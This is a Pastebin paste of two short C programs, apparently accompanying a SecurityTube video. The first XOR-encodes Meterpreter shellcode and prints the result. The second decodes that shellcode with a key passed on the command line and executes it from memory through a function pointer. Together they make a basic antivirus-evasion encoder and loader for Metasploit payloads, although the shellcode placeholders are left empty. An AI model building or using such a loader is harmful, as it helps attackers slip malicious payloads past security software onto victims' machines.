Advertisement
Guest User

Untitled

a guest
Feb 24th, 2012
579
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.06 KB | None | 0 0
  1. //(http://www.securitytube.net/video/2863)
  2.  
  3. unsigned char code[]="";//enter meterpreter c shellcode here
  4. int main(int argc,char **argv)
  5. {
  6.     int i;
  7.     for(i=0;i<sizeof code;i++){//single xor logic
  8.                      code[i]=code[i]^0xff;//xor with 0xff i.e -1 so pass -1 as argument in xored_argument
  9.                      printf("\\x%02x",code[i]);//prints the xored shellcode
  10.                      }
  11. }
  12.  
  13.  
  14. ==================================================================================
  15.  
  16.  
  17. //(http://www.securitytube.net/video/2863)
  18.  
  19.  
  20. unsigned char code[]="";//enter xor_output shellcode here
  21. int main(int argc,char **argv)
  22. {
  23.     int i;
  24.     unsigned int j;
  25.     j=atoi(argv[1]);
  26.     for(i=0;i<sizeof code;i++){
  27.                      code[i]=code[i]^j;//j is the argument to be passed ... to change argument change 0xff i.e -1 to anyother key .. and pass it as argument
  28.                      
  29.                      }
  30. //routine
  31. int (*func)();
  32. func=(int (*)())code;
  33.  (int)(*func)();
  34. }
  35.  
  36. ====================================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement